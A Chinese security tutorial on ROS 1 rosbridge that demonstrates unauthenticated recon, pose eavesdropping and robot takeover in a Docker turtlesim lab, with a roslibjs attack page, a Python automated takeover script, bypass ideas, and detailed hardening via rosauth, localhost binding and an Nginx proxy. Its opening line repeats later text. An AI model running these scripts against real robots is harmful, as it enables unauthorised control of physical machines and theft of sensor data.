机器人控制系统Web实时交互接口安全实战 (ROS Web Bridge)
包) 是一个ROS软件包,它提供了一个WebSocket服务器和一个基于JSON的协议,用于在ROS系统和非ROS程序(最典型的是Web浏览器)之间建立双向通信的桥梁。它在两者之间建立一个实时通信频道(WebSocket),将你的Web指令(JSON格式)翻译成ROS专家能听懂的命令,同时把专家的状态报告(ROS消息)实时翻译成你能在Web界面上看到的数据。这证明我们可以在未经授权的情况下,被动地
前言
-
技术背景:在现代机器人技术,尤其是物联网 (IoT) 和工业4.0的版图中,远程监控与人机交互是核心需求。机器人操作系统 (ROS) 作为事实上的行业标准,其生态中的 rosbridge_suite 组件扮演了关键角色。它通过WebSocket协议,将ROS的内部通信网络(话题、服务、动作)暴露给Web浏览器,实现了机器人与Web应用的实时双向通信。然而,ROS 1在设计之初并未将安全性作为核心考量,这使得作为“桥梁”的rosbridge天生就构成了一个巨大的攻击面。在攻防体系中,它属于应用层接口安全的范畴,是针对特定技术栈(机器人/物联网)的典型脆弱入口。
-
学习价值:掌握rosbridge的安全攻防,意味着你将能够:
- 识别与评估风险:快速判断一个基于ROS的机器人系统是否存在远程控制被接管的风险。
- 复现攻击路径:通过标准化的Web技术(JavaScript、WebSocket)直接与机器人底层系统交互,实现信息窃取(如传感器数据、摄像头画面)和指令注入(如控制机器人移动、执行特定任务)。
- 构建防御体系:从开发和运维两个维度,实施有效的安全加固措施,防止未经授权的访问和恶意控制。
- 知识迁移:将学到的原理和方法应用到其他类似的物联网、车联网Web接口安全评估中。
-
使用场景:这项技术的攻防知识直接应用于以下场景:
- 渗透测试:对商用服务机器人、自动驾驶汽车、工业机械臂等进行安全评估时,检查其Web控制台或远程监控接口的安全性。
- 安全研发:机器人或物联网设备制造商在设计Web交互功能时,规避已知的安全漏洞。
- 应急响应:当机器人出现异常行为时,能够判断是否由Web接口入侵导致,并进行溯源。
- 红蓝对抗:在企业内部的攻防演练中,模拟针对机器人控制系统的攻击。
一、ROS Web Bridge是什么
-
精确定义
ROS Web Bridge (通常指rosbridge_suite包) 是一个ROS软件包,它提供了一个WebSocket服务器和一个基于JSON的协议,用于在ROS系统和非ROS程序(最典型的是Web浏览器)之间建立双向通信的桥梁。 它将ROS的消息、服务和参数等核心概念,翻译成任何支持WebSocket和JSON的语言都能理解和操作的格式。 -
一个通俗类比
想象一下,你的机器人是一个只讲“ROS语”的专家,而你是一个只会讲“Web语”的指挥官。ROS Web Bridge就像一个同声传译。它在两者之间建立一个实时通信频道(WebSocket),将你的Web指令(JSON格式)翻译成ROS专家能听懂的命令,同时把专家的状态报告(ROS消息)实时翻译成你能在Web界面上看到的数据。没有这个翻译,你们之间无法直接沟通。 -
实际用途
- 远程遥操作:在Web页面上放置一个虚拟摇杆,实时控制机器人在仓库中移动。
- 数据可视化:在浏览器中实时显示机器人的摄像头画面、激光雷达扫描图或电池电量。
- 远程调试与监控:工程师无需物理接触机器人,即可通过Web界面查看系统日志、发布测试指令。
- 教育与演示:为学生或客户提供一个无需安装复杂ROS环境,就能与机器人互动的直观平台。
-
技术本质说明
rosbridge的技术本质是一个协议转换网关。它在机器人内部的ROS网络(基于TCPROS/UDPROS协议)和外部的互联网(基于WebSocket/TCP协议)之间进行转换。其核心组件rosbridge_server启动一个WebSocket服务器,默认监听9090端口。 任何客户端(如浏览器中的JavaScript)连接到此端口后,就可以通过发送特定格式的JSON字符串来执行ROS操作。下面这张图清晰地展示了其工作流程和在系统中的位置。
图解:Web应用通过WebSocket连接到
rosbridge_server的9090端口,发送JSON指令。rosbridge_server解析JSON,将其转换为原生的ROS消息或服务调用,并与ROS Master和其他节点进行交互,从而实现对机器人的控制和监控。
二、环境准备
为了复现攻击与防御,我们需要一个包含ROS、rosbridge和一个模拟机器人的环境。使用Docker是最快、最干净的方式。
-
工具版本
- ROS: Noetic Ninjemys (ROS 1 主流稳定版)
- rosbridge-server: 1.2.0
- Docker: 20.10+
- 操作系统: Ubuntu 20.04 (在Docker中)
-
下载方式
我们将使用一个预先配置好的Docker镜像,该镜像包含了ROS Noetic、rosbridge以及一个经典的模拟器turtlesim。 -
核心配置命令
无需手动配置,所有配置都已封装在Docker环境中。 -
可运行环境命令或 Docker
-
拉取并运行Docker容器
此命令会启动一个后台运行的Docker容器,并将容器的9090端口(rosbridge服务)和11311端口(ROS Master)映射到你的宿主机。# 警告:此环境仅用于授权安全测试。 # 启动一个包含ROS Noetic和rosbridge的容器 docker run -d --name ros-attack-env \ -p 9090:9090 \ -p 11311:11311 \ ros:noetic-robot -
启动ROS核心服务和模拟器
进入容器并在其中启动roscore、turtlesim模拟器和rosbridge服务器。# 进入正在运行的容器 docker exec -it ros-attack-env bash # 在容器内执行以下命令 # 启动ROS Master roscore & sleep 5 # 启动turtlesim模拟器,你会看到一个小乌龟的窗口 rosrun turtlesim turtlesim_node & sleep 5 # 启动rosbridge WebSocket服务器 # 默认监听在0.0.0.0:9090 roslaunch rosbridge_server rosbridge_websocket.launch当看到输出
[INFO] [rosbridge_server.py:96] Rosbridge WebSocket server started on port 9090时,表示环境已准备就绪。现在,你的宿主机可以通过ws://localhost:9090访问到机器人内部的ROS网络。
-
三、核心实战:未经授权的远程接管
默认配置下的rosbridge没有任何认证机制,相当于将机器人的“神经中枢”完全暴露在网络中。我们将通过三个步骤,从未经授权的侦察到最终的远程控制,完整复现攻击链。
步骤一:信息侦察 (获取所有可用话题)
目的:在不了解机器人任何信息的情况下,首先要弄清楚它有哪些功能,即ROS网络中有哪些话题 (Topics)。话题是数据流的通道,比如 /camera/image_raw 是摄像头画面,/cmd_vel 通常是移动控制指令。
请求/响应/输出:我们将使用一个简单的HTML页面和JavaScript来连接rosbridge,并调用rosapi提供的topics服务。
-
创建一个名为
attack.html的文件,内容如下:<!DOCTYPE html> <html> <head> <title>ROS Web Bridge Attack Demo</title> <!-- 引入roslibjs库,用于简化与rosbridge的交互 --> <script src="https://static.robotwebtools.org/roslibjs/current/roslib.min.js"></script> </head> <body> <h1>ROS Web Bridge - 攻击与防御演示</h1> <p><strong>警告:以下操作仅限在授权测试环境中使用。</strong></p> <h2>步骤一:信息侦察</h2> <button onclick="getTopics()">获取所有话题</button> <h3>可用话题列表:</h3> <pre id="topics-output"></pre> <script> // --- 核心代码 --- // 连接到rosbridge WebSocket服务器 const ros = new ROSLIB.Ros({ url: 'ws://localhost:9090' }); ros.on('connection', function() { console.log('成功连接到WebSocket服务器。'); document.body.style.backgroundColor = '#d4fada'; }); ros.on('error', function(error) { console.error('连接WebSocket时出错: ', error); document.body.style.backgroundColor = '#ffbaba'; }); ros.on('close', function() { console.log('与WebSocket服务器的连接已关闭。'); document.body.style.backgroundColor = '#f0f0f0'; }); // 获取所有话题的函数 function getTopics() { const rosapi = new ROSLIB.Service({ ros: ros, name: '/rosapi/topics', serviceType: 'rosapi/Topics' }); const request = new ROSLIB.ServiceRequest(); rosapi.callService(request, function(result) { console.log('获取到的话题:', result.topics); const output = document.getElementById('topics-output'); output.textContent = JSON.stringify(result.topics, null, 2); }, function(error) { console.error('调用/rosapi/topics服务失败:', error); }); } </script> </body> </html> -
用浏览器打开
attack.html文件。页面背景变为绿色表示连接成功。 -
点击“获取所有话题”按钮。
输出结果:
在页面的“可用话题列表”区域,你将看到一个JSON数组,包含了当前ROS系统中所有的活动话题,例如:
[
"/rosout",
"/rosout_agg",
"/turtle1/cmd_vel",
"/turtle1/color_sensor",
"/turtle1/pose"
]
从这个列表中,我们发现了关键信息:/turtle1/cmd_vel。根据ROS的命名惯例,cmd_vel (command velocity) 是用于发布速度指令以控制机器人移动的话题。这是我们的主要攻击目标。
步骤二:数据窃听 (订阅姿态数据)
目的:在控制机器人之前,先监听其状态。我们将订阅 /turtle1/pose 话题,实时获取模拟机器人的位置和朝向数据。
请求/响应/输出:在 attack.html 中添加以下代码。
-
在
<body>中添加按钮和显示区域:<h2>步骤二:数据窃听</h2> <button onclick="subscribeToPose()">订阅姿态数据</button> <button onclick="unsubscribeFromPose()">停止订阅</button> <h3>实时姿态数据:</h3> <pre id="pose-output"></pre> -
在
<script>标签内添加订阅逻辑:let poseListener = null; // 用于持有订阅者对象 // 订阅/turtle1/pose话题 function subscribeToPose() { if (poseListener) { console.log('已经订阅,无需重复操作。'); return; } poseListener = new ROSLIB.Topic({ ros: ros, name: '/turtle1/pose', messageType: 'turtlesim/Pose' }); const output = document.getElementById('pose-output'); poseListener.subscribe(function(message) { console.log('收到姿态数据:', message); output.textContent = JSON.stringify(message, null, 2); }); console.log('已成功订阅 /turtle1/pose 话题。'); } // 取消订阅 function unsubscribeFromPose() { if (poseListener) { poseListener.unsubscribe(); poseListener = null; console.log('已取消订阅 /turtle1/pose 话题。'); document.getElementById('pose-output').textContent = '已停止。'; } } -
刷新浏览器,点击“订阅姿态数据”按钮。
输出结果:
“实时姿态数据”区域会持续刷新,显示小乌龟的x, y坐标、线速度和角速度等信息。这证明我们可以在未经授权的情况下,被动地监控机器人的所有状态。
步骤三:指令注入 (远程控制移动)
目的:向 /turtle1/cmd_vel 话题发布我们构造的速度指令,实现对模拟机器人的远程接管。
请求/响应/输出:继续在 attack.html 中添加代码。
-
在
<body>中添加控制按钮:<h2>步骤三:指令注入</h2> <p>使用以下按钮控制乌龟移动:</p> <button onclick="move('forward')">前进</button> <button onclick="move('backward')">后退</button> <button onclick="move('left')">左转</button> <button onclick="move('right')">右转</button> <button onclick="move('stop')">停止</button> -
在
<script>标签内添加发布指令的逻辑:// 创建一个用于发布到/turtle1/cmd_vel的话题对象 const cmdVelTopic = new ROSLIB.Topic({ ros: ros, name: '/turtle1/cmd_vel', messageType: 'geometry_msgs/Twist' }); // 控制机器人移动的函数 function move(direction) { // 创建一个Twist消息 // Twist消息结构: { linear: {x, y, z}, angular: {x, y, z} } const twist = new ROSLIB.Message({ linear: { x: 0.0, y: 0.0, z: 0.0 }, angular: { x: 0.0, y: 0.0, z: 0.0 } }); // 根据方向设置速度值 switch (direction) { case 'forward': twist.linear.x = 2.0; break; case 'backward': twist.linear.x = -2.0; break; case 'left': twist.angular.z = 2.0; break; case 'right': twist.angular.z = -2.0; break; case 'stop': // 所有值默认为0,即停止 break; } // 发布消息 cmdVelTopic.publish(twist); console.log(`已发布指令: ${direction}`, twist); } -
刷新浏览器,点击“前进”、“左转”等按钮。
输出结果:
你会看到Docker环境弹出的turtlesim窗口中的小乌龟,完全按照你的点击指令移动。至此,我们已在未经任何授权的情况下,实现了对机器人的完全远程接管。
自动化攻击脚本
在真实渗透测试中,我们通常会编写自动化脚本来完成上述过程。以下是一个使用Python的示例,它能自动连接、侦察并控制机器人画一个圆。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 警告:此脚本仅可用于经授权的渗透测试环境。
# 未经授权的攻击是非法行为。
import roslibpy
import time
import sys
def main():
"""
自动化攻击脚本,用于连接到未受保护的rosbridge,
侦察话题,并注入指令控制turtlesim画圆。
"""
# --- 参数配置 ---
host = 'localhost'
port = 9090
if len(sys.argv) > 1:
host = sys.argv[1]
if len(sys.argv) > 2:
try:
port = int(sys.argv[2])
except ValueError:
print(f"错误:端口号 '{sys.argv[2]}' 不是一个有效的数字。")
sys.exit(1)
client = roslibpy.Ros(host=host, port=port)
try:
# --- 1. 连接与侦察 ---
print(f"[*] 正在尝试连接到 rosbridge at ws://{host}:{port}...")
client.run()
client.wait_for_connection()
print("[+] 连接成功!")
print("\n[*] 步骤一:侦察可用话题...")
topic_client = roslibpy.Service(client, '/rosapi/topics', 'rosapi/Topics')
request = roslibpy.ServiceRequest()
result = topic_client.call(request)
topics = result['topics']
print(f"[+] 发现 {len(topics)} 个话题:")
for topic in topics:
print(f" - {topic}")
# 检查关键控制话题是否存在
control_topic = '/turtle1/cmd_vel'
if control_topic not in topics:
print(f"\n[!] 警告:未找到目标控制话题 '{control_topic}'。脚本退出。")
client.terminate()
return
print(f"\n[*] 步骤二:准备注入指令到 '{control_topic}'...")
talker = roslibpy.Topic(client, control_topic, 'geometry_msgs/Twist')
# --- 2. 指令注入 ---
print("[*] 步骤三:开始注入指令,控制乌龟画圆...")
duration = 10 # 秒
start_time = time.time()
while time.time() - start_time < duration:
if not client.is_connected:
print("[!] 连接已断开。")
break
# 发布一个恒定的线速度和角速度,使其画圆
twist_msg = roslibpy.Message({
'linear': {'x': 2.0, 'y': 0.0, 'z': 0.0},
'angular': {'x': 0.0, 'y': 0.0, 'z': 1.8}
})
talker.publish(twist_msg)
print(f" - 已发送画圆指令... 剩余 {duration - (time.time() - start_time):.1f} 秒")
time.sleep(0.1)
# --- 3. 清理 ---
print("\n[*] 注入完成,发送停止指令。")
stop_msg = roslibpy.Message({
'linear': {'x': 0.0, 'y': 0.0, 'z': 0.0},
'angular': {'x': 0.0, 'y': 0.0, 'z': 0.0}
})
talker.publish(stop_msg)
time.sleep(1) # 确保停止指令被接收
except Exception as e:
print(f"\n[!] 发生错误: {e}")
finally:
if client.is_connected:
print("[*] 关闭连接。")
client.terminate()
if __name__ == '__main__':
main()
使用方法:
- 确保你的Python环境安装了
roslibpy(pip install roslibpy)。 - 运行脚本
python attack_script.py。 - 观察
turtlesim窗口,小乌龟会开始画圆,10秒后停止。
四、进阶技巧
-
常见错误
- 连接被拒绝:检查防火墙是否阻止了9090端口,或者
rosbridge服务是否真的在目标主机上运行。 - 话题/服务不存在:确保你拼写的话题名称完全正确,包括命名空间(如
/turtle1/)。ROS是大小写敏感的。 - 消息类型不匹配:向一个话题发布了错误类型的消息。例如,向需要
geometry_msgs/Twist的/cmd_vel发送一个std_msgs/String。rosbridge会报错。攻击前需要通过rosapi/topic_type服务精确获取话题类型。
- 连接被拒绝:检查防火墙是否阻止了9090端口,或者
-
性能 / 成功率优化
- 批量操作:
rosbridge协议支持call_service和publish等操作的批量处理,但这在roslibjs中没有直接暴露。通过原生WebSocket发送自定义的JSON可以实现,但这需要更深入的协议理解。 - 消息压缩:
rosbridge支持PNG压缩(png操作码),对于图像这类大数据量话题,可以显著降低带宽。攻击者在窃取摄像头数据时,可以利用这一点来提高传输效率。
- 批量操作:
-
实战经验总结
rosapi是金矿:rosapi提供了一系列服务,如rosapi/nodes,rosapi/services,rosapi/topics,rosapi/topic_type等,它们是信息侦察阶段最有价值的工具。通过它们可以绘制出整个ROS系统的节点拓扑和通信关系。- 寻找非标准控制话题:并非所有机器人都使用
/cmd_vel。在实战中,需要通过话题名猜测其用途,例如/arm_controller/command可能是控制机械臂的,/gripper_action可能是控制夹爪的。 - 参数服务器:ROS的参数服务器存储了大量配置信息,有时甚至包含硬编码的密码或API密钥。通过
rosapi/get_param可以读取,rosapi/set_param可以修改,这可能是比控制移动更危险的攻击向量。
-
对抗 / 绕过思路
- IP白名单绕过:如果运维人员设置了简单的IP白名单,可以尝试寻找SSRF(服务器端请求伪造)漏洞,或者通过攻击同一内网的其他受信任设备来作为跳板,间接访问
rosbridge。 - 伪装成合法客户端:如果系统集成了前端应用,分析前端JS代码,模仿其正常的通信模式和消息格式,可以更好地隐藏攻击行为,绕过一些简单的行为检测。
- 利用ROS 1到ROS 2桥接的弱点:在混合部署的环境中,如果一个受保护的ROS 2系统通过
ros1_bridge与一个不受保护的ROS 1系统通信,攻击者可以攻击ROS 1侧的rosbridge,进而间接影响到ROS 2系统,这是一种典型的“降级攻击”。
- IP白名单绕过:如果运维人员设置了简单的IP白名单,可以尝试寻找SSRF(服务器端请求伪造)漏洞,或者通过攻击同一内网的其他受信任设备来作为跳板,间接访问
五、注意事项与防御
保护rosbridge的核心思路是增加认证与授权层,并遵循最小权限原则。
-
错误写法 vs 正确写法
错误做法 (不安全) 正确做法 (安全) roslaunch rosbridge_server rosbridge_websocket.launchroslaunch rosbridge_server rosbridge_websocket.launch authenticate:=true描述:默认启动,无任何认证。 描述:启动 rosbridge的认证模式。WebSocket端口直接对公网开放。 使用反向代理(如Nginx)保护WebSocket端口,并由代理实现认证和TLS加密。 描述:任何知道IP和端口的人都可以连接。 描述:只有通过Nginx认证的合法用户才能访问 rosbridge。Web前端硬编码连接逻辑。 后端提供一个令牌服务,前端先向后端请求一个有时效性的令牌,再用令牌连接 rosbridge。描述:无动态凭证,易被分析利用。 描述:动态令牌,增加攻击难度。 -
风险提示
- 物理伤害风险:对工业机械臂、自动驾驶车辆等物理设备的
rosbridge接口进行未授权访问,可能导致设备失控,造成严重的物理伤害和财产损失。 - 数据泄露风险:机器人传感器(摄像头、麦克风、激光雷达)收集的数据可能涉及个人隐私或商业机密。
rosbridge的暴露可能导致这些数据被实时窃取。 - 拒绝服务 (DoS):攻击者可以通过高频次的连接或发送大量数据,耗尽
rosbridge_server的资源,使其无法为合法用户提供服务,导致远程监控和控制中断。
- 物理伤害风险:对工业机械臂、自动驾驶车辆等物理设备的
-
开发侧安全代码范式
rosbridge_suite提供了一个名为rosauth的简单认证机制。 它基于MAC(消息认证码)方案,需要客户端和服务器共享一个密钥。-
启动带认证的rosbridge:
# 1. 创建一个密钥文件 echo "your-super-secret-key-12345" > /path/to/secret.txt # 2. 启动rosauth节点,加载密钥 rosrun rosauth ros_mac_authentication _secret_file_location:=/path/to/secret.txt & # 3. 启动rosbridge,并开启认证模式 roslaunch rosbridge_server rosbridge_websocket.launch authenticate:=true -
客户端(JavaScript)认证:
客户端在连接后,必须发送一个auth操作,提供使用共享密钥计算出的MAC。// 假设这是从安全后端获取的 const secret = 'your-super-secret-key-12345'; // 认证函数 function authenticate() { // MAC的计算方式相对复杂,涉及客户端IP、目标IP、随机数、时间戳等 // 这是一个简化的概念演示,实际实现需参考roslibjs或rosauth源码 // const mac = calculateMac(secret, client_ip, dest_ip, rand, timestamp, level, end_timestamp); // roslibjs 提供了 authenticate 方法 ros.authenticate(mac, client_ip, dest_ip, rand, timestamp, level, end_timestamp); } // 在连接成功后立即进行认证 ros.on('connection', function() { console.log('已连接,正在进行认证...'); authenticate(); });
注意:
rosauth提供的认证较为基础,且密钥管理复杂。在生产环境中,更推荐下述的运维侧加固方案。 -
-
运维侧加固方案
这是目前业界公认的最佳实践:使用反向代理。-
网络隔离:将
rosbridge_server绑定在本地回环地址127.0.0.1上,使其无法从外部直接访问。# 修改rosbridge_websocket.launch文件或在启动时传入参数 roslaunch rosbridge_server rosbridge_websocket.launch address:=127.0.0.1 -
配置Nginx作为反向代理:
使用Nginx监听公网端口(如443),处理TLS加密和用户认证,然后将合法的WebSocket流量转发到本地的9090端口。# /etc/nginx/nginx.conf server { listen 443 ssl; server_name your-robot.your-domain.com; # SSL/TLS 配置 ssl_certificate /path/to/your/fullchain.pem; ssl_certificate_key /path/to/your/privkey.pem; # ... 其他SSL安全配置 # HTTP Basic Auth 认证 auth_basic "Restricted Access"; auth_basic_user_file /etc/nginx/.htpasswd; location / { proxy_pass http://127.0.0.1:9090; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "Upgrade"; proxy_set_header Host $host; } }这个配置实现了:
- 强制HTTPS:所有通信都被加密。
- 身份认证:只有提供了正确用户名和密码的用户才能访问。
- 隐藏后端:攻击者无法直接接触到
rosbridge服务。
-
-
日志检测线索
- 异常连接频率:在Nginx或系统防火墙日志中,监控来自单个IP的到9090端口(或代理端口)的连接尝试次数。短时间内大量失败或成功的连接可能是扫描或暴力破解行为。
- 非预期的话题/服务调用:如果可能,在
rosbridge层面增加日志记录(可能需要修改源码),记录所有被调用的op(操作)。如果发现有大量rosapi/*服务的调用,或对敏感话题(如/emergency_stop)的发布,应立即告警。 - ROS节点行为异常:在ROS系统层面,监控节点的CPU和内存使用率。一个被恶意高频发布消息的话题,其对应的订阅节点可能会资源消耗异常。
roswtf工具可以帮助诊断系统级别的异常。
总结
- 核心知识:ROS 1的
rosbridge默认配置下完全没有安全机制,它将ROS内部网络直接暴露给任何能够连接其WebSocket端口的客户端,攻击者可通过简单的JSON消息实现信息窃取和远程控制。 - 使用场景:攻防知识适用于对任何使用Web界面进行远程交互的机器人系统(服务机器人、物流AGV、教育机器人等)进行安全评估和加固。
- 防御要点:永远不要将未经保护的
rosbridge端口暴露在公网上。最佳防御实践是将其绑定在本地,并使用Nginx等反向代理提供TLS加密和身份认证。 - 知识体系连接:
rosbridge安全是物联网/CPS安全领域的一个典型案例,它融合了Web安全(WebSocket、JSON)、应用层协议安全和嵌入式系统安全。其攻防思路可推广至MQTT、CoAP等其他物联网协议接口。 - 进阶方向:深入研究ROS 2的安全体系(SROS2),理解其基于DDS-Security的身份认证、访问控制和加密机制如何从根本上解决ROS 1的架构缺陷。
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?
DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。
更多推荐


所有评论(0)